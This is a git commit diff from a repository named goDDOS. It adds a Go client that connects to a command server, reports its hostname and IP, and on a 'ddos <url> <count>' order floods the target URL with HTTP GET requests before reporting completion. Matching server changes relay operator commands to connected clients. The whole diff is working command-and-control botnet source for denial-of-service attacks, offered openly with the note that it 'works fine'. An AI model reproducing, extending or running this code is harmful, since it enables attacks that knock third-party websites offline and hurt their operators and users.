arnaucube
arnaucube/goDDOSPublic Self-hosted repository
ddos by the clients implemented, works fine
arnaucode idoctnef@openmailbox.org
Thu, 16 Mar 2017 15:53:15 +0100
commit

c161e0ef98318f3e830fc02c632df9a00d76f65f

parent

c92299f831d4049381fa3abf88ef52b7b9f86c58

2 files changed, 54 insertions(+), 11 deletions(-)

jump to
M client/main.go → client/main.go

@@ -4,7 +4,10 @@ import (

"bufio" "fmt" "net" + "net/http" "os" + "strconv" + "strings" "time" )

@@ -14,7 +17,7 @@ CONN_PORT = "3333"

CONN_TYPE = "tcp" ) -func main() { //client https://systembash.com/a-simple-go-tcp-server-and-tcp-client/ +func main() { // connect to this socket conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)

@@ -29,17 +32,61 @@ fmt.Println("local ip:", ip)

// send to socket fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n") for { - message, err := bufio.NewReader(conn).ReadString('\n') + command, err := bufio.NewReader(conn).ReadString('\n') if err != nil { fmt.Println(err) fmt.Println("server disconnected") os.Exit(1) } - fmt.Print("Command from server: " + message) + fmt.Println("Command from server: " + command) + //fmt.Println(len(strings.Split(command, " "))) + + comm := strings.Split(command, " ")[0] + switch comm { + case "ddos": + fmt.Println("url case, checking parameters") + if len(strings.Split(command, " ")) < 3 { + fmt.Println("not enought parameters") + break + } + fmt.Println("url case") + go ddos(command, conn, hostname) + default: + fmt.Println("default case, no specified command") + fmt.Println("") + fmt.Println("-- waiting for new orders --") + } + } } +func ddos(command string, conn net.Conn, hostname string) { + url := strings.Split(command, " ")[1] + url = strings.TrimSpace(url) + + iterations := strings.Split(command, " ")[2] + iterations = strings.TrimSpace(iterations) + iter, err := strconv.Atoi(iterations) + if err != nil { + fmt.Println(err) + } + fmt.Println("url to ddos: " + url) + for i := 0; i < iter; i++ { + fmt.Println(i) + resp, err := http.Get(url) + if err != nil { + fmt.Println(err) + } + fmt.Println(resp) + } + msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate) + fmt.Println(msg) + fmt.Fprintf(conn, msg+"\n") + fmt.Println("") + fmt.Println("-- waiting for new orders --") +} + func getIp() net.IP { var ip net.IP ifaces, err := net.Interfaces()

@@ -52,14 +99,12 @@ if err != nil {

fmt.Println(err) } for _, addr := range addrs { - switch v := addr.(type) { case *net.IPNet: ip = v.IP case *net.IPAddr: ip = v.IP } - // process IP address } } return ip
M server/main.go → server/main.go

@@ -29,11 +29,9 @@ func (client *Client) Read() {

for { line, err := client.reader.ReadString('\n') if err == nil { - if client.connection != nil { - client.connection.outgoing <- line - } fmt.Println("") fmt.Println(line) + fmt.Print("enter new command: ") } else { break }

@@ -74,7 +72,7 @@

return client } -func watchConsoleInput(conn net.Conn) { +func watchConsoleInput(conn net.Conn) { //example: ddos http://web.com 4 newcommand := bufio.NewReader(os.Stdin) for { text, _ := newcommand.ReadString('\n')

@@ -92,7 +90,7 @@ fmt.Print("enter new command: ")

} } } -func watchConnectionInput(client *Client) { +func watchClientConnectionInput(client *Client) { for clientList, _ := range allClients { if clientList.connection == nil { client.connection = clientList

@@ -122,7 +120,7 @@ if err != nil {

fmt.Println(err.Error()) } client := NewClient(conn) - go watchConnectionInput(client) + go watchClientConnectionInput(client) go watchConsoleInput(client.conn) } }